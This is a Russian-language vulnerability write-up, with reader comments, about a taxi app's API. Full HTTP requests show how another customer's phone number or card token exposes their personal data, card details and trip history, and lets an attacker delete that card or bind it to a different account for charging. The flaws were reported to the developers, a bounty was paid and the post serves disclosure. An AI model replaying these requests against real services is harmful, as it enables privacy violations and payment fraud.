Как ездить на такси за чужой счёт — уязвимости на примере одного сервиса

    После нахождения уязвимостей в мобайл-банкинге украинского банка (пост) я захотел немного сменить направление и перейти от финансовых сервисов к другим.

    На глаза попалась рекламная статья про обновлённое мобильное приложение такси, его я и выбрал своим подопытным.

    Здесь инструменты те же: ПК, Fiddler, Android-смартфон – устанавливаем приложение и отслеживаем его запросы.

    Я специально не рассматривал запросы и ответы при регистрации или логине (например, не стал проверять возможность перебора пароля), а перешёл к функциям, доступным после регистрации.

    Так как у меня не было истории поездок с помощью данного сервиса, а проводить реальную поездку для тестирования мне не хотелось, мне нужны были данные кого-либо ещё из клиентов. Я решил спросить знакомых на наличие аккаунта в сервисе. Среди знакомых нашлись клиенты этого такси, но вызывали они его по-старинке – с помощью звонка.

    Тогда я начал искать номера телефонов среди общедоступной в интернете информации – например, на официальном сайте и среди отзывов в соцсетях (зачастую недовольные клиенты, описывая жалобы, вместо отправки компании в личку своих контактов оставляют их в комментариях на всеобщее обозрение). В итоге я нашёл пару телефонов на одном из сайтов по поиску работы. Один из них я подставил в последующие запросы и получил информацию, которая не должна была быть доступна кому-либо извне.



    Это были следующие проблемы:

    1. Получаем id клиента, его ФИО, телефон, e-mail и город (такси работает в нескольких городах).

    Когда приложение загружает профиль, выполняется такой POST-запрос:

    https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: User
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 37
    
    func=loadMyInfo&phone=%2B380671234567

    Подставив чужой номер телефона в функцию loadMyInfo&phone, в ответ я получил id клиента, его полное ФИО, телефон, e-mail и город:

    [{"id":14014,"varFirstName":"Сергей ","varLastName":"Николаевич","varSurName":"Иванов ","varTel":"+380671234567","varTel2":"","varEmail":"Sergey_ivan@some.mail","city":1,"cityName":"Киев"}]


    2) Информация о платёжных картах клиента

    Во втором запросе я смог получить информацию о платёжных картах, добавленных клиентом в личный кабинет:

    https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: User
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 58
    
    data={"Task":"GetClientCardsData","phone":"+380671234567"}

    Ответ:

    {"data":[{"masked_card":"512345XXXXXX6789","rectoken":"ccaffe873a0e88caf49bc65bbef2390329","card_type":"MASTERCARD","default":true,"card_name":"Зарплатная"}]}

    Здесь были доступны: усечённый номер карты, какой-то токен, тип карты, установлена ли карта по умолчанию и её название.

    3) Получение информации о поездках клиента

    Третий запрос — loadHistory — ожидаемо предоставил мне наибольшее и самое важное (как я тогда думал) количество информации:

    https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: User
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 38
    func=loadHistory&phone=%2B380671234567

    Часть ответа (как и ранее, данные изменены):

    {"id":454875,"From":"Шолом-Алейхема вул., 1","To":"Кириллівська вул., 13","When":"10-01-2019 15:55","WhenDate":1569942900,"Price":"160","Rate":0,"preorder":0,"status":1,"orderid":"11174445","additionalServices":"[]","classAvto":2,"callsignid":6426,"Car":"Сидоров Олександр Олександрович,Toyota Corolla,Белый,АА 3733 РА","city":1,"cityName":"Київ","distance":"0.00"}
    {"id":408880,"From":"Драйзера Теодора вул., 2","To":"Шолом-Алейхема ул., 1","When":"25-12-2018 03:44","WhenDate":1545709440,"Price":"79","Rate":0,"preorder":0,"status":1,"orderid":"10966503","additionalServices":"[]","classAvto":2,"callsignid":4545,"Car":"Петров Костянтин Петрович,Toyota Corolla,Белый,АА 0415 РС","city":null,"cityName":null,"distance":"0.00"}

    Здесь доступны: Адрес отправления, Адрес назначения, Дата и время поездки, Стоимость, а также Полное ФИО таксиста, тип, цвет и номер его машины.

    Итого: с помощью пары запросов, по номеру телефона можно узнать всё про клиента данного сервиса, включая определённые детали личной жизни (например, поездки на Новый год в 2 часа ночи из одного адреса в другой).

    Наверняка в приложении были и другие места, где можно было получить иную информацию. Но найденного уже было достаточно, чтобы сообщить об этом разработчикам, что я незамедлительно и сделал на прямые рабочие адреса.

    На протяжении месяца мы переписывались, и позже мне выплатили вознаграждение.



    И тут этот пост мог бы закончиться, но я решил ещё раз проверить, были ли исправлены все ошибки.

    Да, два из трёх запросов уже не отдавали мне чужую информацию, но один всё ещё был валидным.

    Платёжные карты добавляются в это приложение так же, как и в любое другое: сначала на специальной странице клиент указывает полный номер, срок действия и CVV карты. Затем идёт прохождение верификации путём списания 1 грн. и подтверждение клиентом такой операции по 3-D Secure/LookUp. Это нормальная практика, полного номера и других платёжных реквизитов карт клиентов в запросах не было.

    Но так как я видел, что моя добавленная карта удаляется запросом вида data={"Task":"DeleteClientCardsData","rectoken":"bc65bbef2390329ccaffe873a0e88caf49"}, то решил проверить: что будет, если указать rectoken другого клиента.

    4) Удаление чужой карты по токену

    Выполняю запрос с чужим токеном:

    https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 86
    
    data={"Task":"DeleteClientCardsData","rectoken":"ccaffe873a0e88caf49bc65bbef2390329"}

    И чужая карта удалилась!

    Я дополнительно проверил это с помощью того же запроса №2 — был ли это просто визуальный ответ {"status":"Success"."err":""}, или карта действительно была удалена у клиента.

    Карта действительно была удалена.

    Тут же я написал второе письмо, извинившись, но, решил экспериментировать дальше, создав себе ещё один аккаунт: если карту по токену можно удалить — возможно, её по тому же токену можно и привязать, и именно привязать к себе?

    5) Добавление чужой карты по токену в свой аккаунт

    Да, не буду томить — чужую карту можно было привязать к себе. Главное — знать rectoken (а получить его можно благодаря незакрытой проблеме №2).

    В POST-запросе можно было указать любые данные — любые первые 6 и последние 4 цифры номера карты, хоть 500000****1111 — карта визуально привязывалась с этими данными, а токен был от другого клиента и валидный.

    POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 221
    
    data={"Task":"ClientCardData","default":false,"phone":"+380991234567","masked_card":"500000XXXXXX1111","card_name":"Test","card_type":"MASTERCARD","rectoken":"4f6d228517f2d45690670aba78013a0408"}

    Что это значит: из-за возможности привязки токена к своей учётке я мог бы совершить поездку за чужой счёт без знания полных реквизитов карты и без какой-либо дополнительной её проверки — ведь карта уже была добавлена клиентом и успешно проверена платёжным сервисом.

    Объяснение про возможность оплаты с чужой карты:
    Для упрощения ввода платежных реквизитов при платежах используется оплата в один клик на базе токенов. Клиент при первой покупке вводит платежные данные, при последующих оплатах клиенту будет достаточно нажать кнопку «оплатить».

    Токен — это уникальный номер, который присваивается набору параметров карты в системе. Этот токен можно использовать для безакцептной оплаты без ввода CVV и без 3-D Secure аутентификации.

    Дополнительно
    Создание токена — это процесс успешной оплаты/блокировки средств на карте клиента с вводом полных реквизитов клиента (номер карты, срок действия, CVV). Создать токен можно следующим образом:

    1. Принять платеж (Purchase) — успешная оплата клиентом с вводом полных реквизитов карты. Карте присваивается recToken и передаётся в ответе.
    2. Верификация карты/получение токена (Verify) — успешная верификация карты, блокировка средств на карте клиента. Карте присваивается recToken и передаётся в ответе.


    Списание по токену — проведение операции списания/блокировки средств на карте, без участия клиента, путем передачи от мерчанта токена.

    Пример объяснения взят отсюда.

    Разработчики попросили продемонстрировать возможность переноса токена с их аккаунта на мой и заказа такси — им нужно было убедиться, что списание по токену действительно произойдёт. Конечно же, заказ прошёл, деньги списались (в авто я не садился). Позже мне выплатили ещё немного денег.



    Как видно из данной и предыдущей статей, иногда PHPSESSID, Authorization или SecurityToken недостаточно.

    Если вы разработчик – пожалуйста, следите и за тем, что и кому вы отдаёте при запросах. Если вы тестировщик – ищите и находите, но обязательно сообщайте об этом разработчикам. Уязвимостей полно там и тут, поэтому, пожалуйста, будьте белым хакером.
    Поддержать автора
    Поделиться публикацией

    Комментарии 21

      +3
      Позже мне выплатили ещё немного денег.

      Редкий случай в практике, относительно небольших фирм, являющимися владельцами сервиса с уязвимостью.
        +3
        Я тоже раньше так думал — что небольшие фирмы меньше платят и платят ли вообще без наличия официальной Bug bounty программы.
        А сегодня сообщил про одну проблему в банк, и разработчики (большая независимая IT-компания с кучей клиентов) заплатила столько же, сколько и указанный выше сервис такси при первом обращении. Ожидалось, конечно, наоборот)
        +2
        Как видно из данной и предыдущей статей, иногда PHPSESSID, Authorization или SecurityToken недостаточно.

        Тут скорее проблема в том, что сессия пхп не хранила нужных данных. После аутентификации и авторизации такая вещь как номер телефона должна быть в сессии, либо извлекаться из СуБД на сервере из данных сессии.

        Т.е. в этих запросах в принципе не должен передаваться номер телефона. Проблемы можно было избежать на этапе проектирования.
          0
          Не очень понятно, ошибка 2 заключалась в том, что система не проверяла совпадение токена, применяемого для авторизации и данных по запрашиваемому телефону — что они принадлежат одному и том же клиенту? Просто выдавала данные по любому переданному телефону?
          В запросе видно что они требуют PHPSESSID, но видимо им на самом деле не пользуются.
            0
            Частые ошибки, как-то на этапе тестирования одного платежного софта, нашли похожую проблему.
            При отправке кода подтверждения клиенту, обычным рестом дергался сервис рассылки, куда передавался сам сгенерированный код, а должно было на уровне бэка в кэшах.
              0
              Похожее описано в предыдущем посте, а также я находил ситуацию, когда код, который клиент должен ввести для входа, видно в запросе (сеть АЗС и сеть магазинов).
              UPD: наверное, напишу когда-то о втором случае.
            +3
            Сотрудничаю сейчас с одной фирмой, что создает ПО для такси.
            3 менеджера-руководителя + 2 джуна, что все это пишут.
            Реально.

            Реальность такова, что, в общем-то написать и джуну это посильно, а то что это небезопастно ит.п. и т.п. — так для их бизнеса всё равно. Пока бизнесу ничего серьёного за это не будет — так и будут делать.

            Обсуждали с ними другой проект и стоимость его — и когда я говорил о надежности (репликация), безопасности (шифрование, ключи) — видел в их глаза «да ты просто деньги с нас хочешь вытянуть дополнительно за не нужные вещи».
              +1
              Как-то восстанавливал данные таксистам. Сервер — два IDE-диска в рейде. Один из них сдох давно, и никто не почесался. Электричество рубанули, оно ребутнулось. У мускуля закорраптилась одна табличка, но так, что простыми средствами не лечилась (остальные — выжили). На тупой вопрос вида — мужики, либо мы создаем ее пустой и вы теряете все звонки клиентов за последние полгода, либо мы их долго и мучительно по крупицам выуживаем из остатков файлов (но оно дорого, ясное дело) — ответ был — «Обидно конечно, база телефонов была ценная, да ну нафиг, пересоздавай». На вопрос — А бэкап вам учинить — ответ был «а ну нафиг, дорого»…
              0

              "какой-то токен" — первая мысль была о том самом для безакцептного списания. Зачем вообще токен на клиенте?! Он сам стучится в платёжный шлюз? Или просто результат select *?

                0
                А как фидлером с другого устройства перехватывать? Или приложение запущено на эмуляторе на компе?
                  0
                  Можно как со смартфона перехватывать, так и с эмулятора.
                    0
                    Спасибо. Видимо, моему смартфону наплевать на настройки прокси wifi. При настройке прокси в браузере на другом компе, всё работает.
                    Можно это как-нибудь на роутере настроить?
                      0
                      Не смартфону, а приложению. Настройки прокси не обязательны к применению всеми приложениями. Настраивайте прозрачное (transparent) проксирование — ваш компьютер назначается шлюзом и весь нужный трафик уже самостоятельно заворачивает ваша ОС, как вы ей укажете. А ещё существует public key pinning, который так же может обламывать весь процесс.
                      Кстати, рекомендую попробовать mitmproxy. У него есть некоторые преимущества (может и недостатки тоже, но мне о них неизвестно).
                        0
                        У меня в самом начале была забавная ситуация, когда я не мог отслеживать запросы, не понимая, что не так — оказалось, что firewall на компьютере блокировал входящие соединения.
                    0

                    Сейчас всё пофиксили? Что за компания извозчик?

                      +1

                      Да, все проблемы были исправлены несколько недель назад. Название компании сказать не могу.

                        0

                        Почему? Все баги же пофиксили, разве нет?
                        К тому же, как я понял, Вы не подписывали никаких NDA.


                        Мне интересен сервис, который реально признаёт свои косяки и устраняет их.
                        Спасибо.

                          +1
                          Очевидно же, что компания попросила его по-человечески, без всяких NDA, не портить им имидж.
                            0

                            Простите не считаю такой подход верным, но это моё субъективное мнение. К тому же имидж ка раз в безопасности тут, т.к. это первый случай, когда подобные сервисы не стали угрожать, а честно исправили, да ещё и деньгами отплатили. Туту как раз всё с точностью да наоборот.

                              +1
                              Ни одна нормальная компания не желает видеть в интернете истории про свои проблемы. Это для IT-шников с интернета — классная контора. Для клиента эта история — прокол, небезопасность, ошибка. Ни один ресторан не станет писать, как они разбили чайник, а потом всё быстро и профессилнально убрали. Ни одна автомобильная компания не захочет рассказывать, что разработала проблемную машину, а потом их отозвали и все исправили. Это не реклама, это антиреклама.
                                –1

                                ну так я и прошу название в ЛС скинуть, а не всеобщее обозрение вроде… впрочем, раз автор не хочет — его право...


                                Касаемо вашего ответа:
                                Вы правы, ни одна компания не желает и не будет писать, но это не тождественно тому, что другие люди, причастные к этой компании не будут этого делать.

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                    Самое читаемое